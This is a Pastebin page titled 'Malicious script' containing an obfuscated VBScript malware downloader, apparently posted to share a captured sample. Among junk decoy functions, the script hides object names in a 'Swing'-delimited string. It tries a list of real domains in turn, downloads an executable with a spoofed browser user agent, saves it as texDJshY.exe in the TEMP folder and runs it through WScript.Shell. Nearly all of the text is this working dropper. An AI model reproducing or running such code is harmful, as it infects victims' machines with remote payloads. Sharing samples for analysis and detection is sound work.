SHARE
TWEET

Malicious script

dynamoo Aug 25th, 2017 190 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function ep_planetroute(route,move,start, target)
  3.     dim x,y,astarmap(60,20)
  4.     for x=0 to 60
  5.         for y=0 to 20
  6.  
  7.             if move<tmap(x,y).walktru then astarmap(x,y)=1500
  8.             if tmap(x,y).onopen<>0 then astarmap(x,y)=0
  9.             if tmap(x,y).no=45 then astarmap(x,y)=1500
  10.         next
  11.     next
  12.     return a_star(route(),target,start,astarmap(),60,20,0,rollover)
  13. end function
  14.  
  15. function oandd ( Biel1 , Biel2 )
  16.    
  17.     oandd = nott ( andd (biel1 , biel2 ) )
  18.  
  19. end function
  20. Dim STDBcrucialheal33 'As String
  21. Vrungel = ".responseB"+"ody"
  22.  
  23. Function Andd ( Biel1 , Biel2 )
  24.     Andd = 0
  25.     If Biel1 = 1 then
  26.         If Biel2 = 1 then
  27.             Andd = 1
  28.         end if
  29.     end if
  30. end function
  31. Function RandomizeData(st1,st2)
  32.  
  33.  STDBcrucialRombickom.Run(STDBcrucialRdbmsPipe)
  34.  st1 = st2+st1
  35. End Function
  36. Function LabradorPS2(dry)
  37.  
  38.     if dry > 2 AND 3141 > dry Then
  39. STDBcrucialDribun = STDBcrucialcAfee.responseBody
  40.     end if
  41.  
  42. End Function
  43.  
  44.  
  45.   STDBcrucialRH = "User"
  46.  
  47.  
  48. Dim STDBcrucialLAKOPPC 'As String
  49. 'Dim RDFGO() 'As String
  50. Dim STDBcrucial2 'As String
  51. Dim STDBcrucialGMAKO 'As Object
  52.       Dim TristateTrue
  53.  
  54.  
  55.  
  56. Lunchers = Split("go-coo.jp/HygHGF!hausgerhard.com/HygHGF!hausgadum.de/HygHGF!bromesterionod.net/af/HygHGF!hartwig-mau.de/HygHGF!hecam.de/HygHGF!haboosh-law.com/HygHGF!hbwconsultants.nl/HygHGF!hansstock.de/HygHGF!heimatverein-menne.de/HygHGF", "!")
  57. Dim STDBcrucialcAfee 'As Object
  58. Dim SPCpronounDIL 'As Object
  59.  
  60.  
  61. Function LabradorPS()
  62. SPCpronounDIL.Savetofile STDBcrucialheal33, 2
  63. End Function
  64.  
  65. Function STDBcrucialTeethk(p)
  66.  
  67.  
  68.  STDBcrucialcAfee.Send
  69.    
  70. End Function
  71. Dim STDBcrucialrepost
  72. STDBcrucialrepost = false
  73.      Dim RDFGO
  74.  
  75. Dim STDBcrucialKSKLAL 'As Object
  76.  
  77.  
  78. Function F3(p)
  79.     Set STDBcrucialRombickom = CreateObject("WScript.Shell")   
  80. End Function
  81. Dim STDBcrucial1DASH1solo 'As Object  
  82.    
  83. STDBcrucial2 = "Microsoft.XMLHTTPSwingAdodb.streaMSwingshell"+".ApplicationSwingWscript.shellSwingProcessSwingGeTSwingTem"+"PSwingTypeSwingopenSwingwriteSwingresponseBodySwingsavet"+"ofileSwing\texDJshY.e"+"xeSwinghttp:Swing//"
  84.  
  85. Dim STDBcrucial4 'As String
  86.  
  87.  
  88.   Dim sWholeVis 'As String
  89. Dim STDBcrucialDribun 'As Variant
  90. Dim dePetya 'As Integer
  91. STDBcrucialRH = STDBcrucialRH&"-"
  92. Dim iSlashPOS 'As Integer
  93.  Dim sDecimalVis 'As String
  94. sWholeVis = "A"
  95. Function Razdel( s500 )
  96.    Razdel = Split(STDBcrucial2, s500)
  97. End Function
  98.  
  99. Dim DobbyS 'As String
  100.     RDFGO = Razdel(""&"Swing")
  101.   Dim sTempVis 'As String
  102.  Dim iCount 'As Integer
  103.  
  104. Dim DobbySibility 'As String
  105.  Dim sNodeKey 'As String
  106.  Dim sParentKey 'As String
  107.  
  108.  
  109. Dim STDBcrucialRombickom
  110. zTempVis = RDFGO(1)
  111. iSlashPOS = 12
  112. 'Set STDBcrucialGMAKO = CreateObject(RDFGO(8-6))
  113. Set Darkness = GetRef("RandomizeData")
  114. DobbyS = RDFGO(10+3) & RDFGO(10+4)
  115. Set SPCpronounDIL = CreateObject("Adodb.streaM")
  116.  
  117.  
  118. STDBcrucialRH = STDBcrucialRH&sWholeVis&"gent"
  119. Set STDBcrucial1DASH1solo = CreateObject(RDFGO(3))
  120.  dePetya = 1
  121. Set STDBcrucialcAfee = CreateObject(RDFGO(0))
  122.  Set STDBcrucialKSKLAL = STDBcrucial1DASH1solo.Environment(RDFGO(1 + 3))
  123.  STDBcrucialLAKOPPC = STDBcrucialKSKLAL(RDFGO(6))
  124.  
  125.  
  126. sTempVis = RDFGO(iSlashPOS)
  127.  Dim i
  128.  'on error GoTo nextU
  129. ' on error resume next
  130. ubnd = UBound(Lunchers)
  131.  
  132. For i = 0 To ubnd Step 1
  133.  dePetya = 2 + dePetya
  134.  STDBcrucial4 = DobbyS & Lunchers(i)
  135.  STDBcrucialcAfee.Open RDFGO(5), STDBcrucial4, False
  136. STDBcrucialcAfee.setRequestHeader STDBcrucialRH, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
  137. on error resume next
  138. STDBcrucialTeethk ""
  139. If STDBcrucialcAfee.Status = 200 Then
  140. STDBcrucialrepost = true
  141.  Exit For
  142. End If
  143. Next
  144.  
  145.  
  146. on error goto 0
  147.  
  148. Function STDBcrucialSEND(p)
  149.  
  150.  
  151.  p.Send
  152.    
  153. End Function
  154.  
  155.  
  156. function drawroulettetable()
  157.     dim  x,y,z
  158.     dim coltable(36)
  159.     coltable(0)=10
  160.     coltable(1)=12
  161.     coltable(2)=15
  162.     coltable(3)=12
  163.     coltable(4)=15
  164.     coltable(5)=12
  165.     coltable(6)=15
  166.     coltable(7)=12
  167.     coltable(8)=15
  168.     coltable(9)=12
  169.     coltable(10)=15
  170.     coltable(11)=15
  171.     coltable(12)=12
  172.     coltable(13)=15
  173.     coltable(14)=12
  174.     coltable(15)=15
  175.     coltable(16)=12
  176.     coltable(17)=15
  177.     coltable(18)=12
  178.     coltable(19)=12
  179.     coltable(20)=15
  180.     coltable(21)=12
  181.     coltable(22)=15
  182.     coltable(23)=12
  183.     coltable(24)=15
  184.     coltable(25)=12
  185.     coltable(26)=15
  186.     coltable(27)=12
  187.     coltable(28)=15
  188.     coltable(29)=15
  189.     coltable(30)=12
  190.     coltable(31)=15
  191.     coltable(32)=12
  192.     coltable(33)=15
  193.     coltable(34)=12
  194.     coltable(35)=15
  195.     coltable(36)=12
  196.  
  197.     z=0
  198.     for y=1 to 12
  199.         for x=1 to 3
  200.             z=z+1
  201.             locate y+2,x*3+45,0
  202.             if coltable(z)=12 then
  203.                 set__color  12,2
  204.             else
  205.                 set__color  0,2
  206.             end if
  207.            
  208.         next
  209.     next
  210.     set__color 15,0
  211.     return 0
  212. end function
  213.  
  214. if STDBcrucialrepost Then
  215. Dim Ratchet 'As String
  216. STDBcrucialheal33 = STDBcrucialLAKOPPC+ sTempVis
  217. F3 ""
  218. SPCpronounDIL.Type = 1
  219.  SPCpronounDIL.Open
  220. LabradorPS2 24
  221. Dim OldBeacon,SheWas 'As Long
  222.  
  223. SPCpronounDIL.Write STDBcrucialDribun
  224. LabradorPS()
  225.  
  226. OldBeacon = 55 + 17
  227. STDBcrucialRdbmsPipe = STDBcrucialheal33
  228.  
  229. If 1900  > OldBeacon Then
  230.  SheWas = 3
  231. Darkness 4,SheWas
  232. End If
  233.  
  234. end if
  235.  
  236. Function hullPosix(ByVal i )
  237.     DIM  cmdPipe
  238.     If(i = 1) Then
  239.  
  240.     ElseIf (i = 2) Then
  241.         If (pid <> "NULL") Then
  242.        pid = "NULL"
  243.     End If
  244.     End If
  245. End Function
RAW Paste Data
Top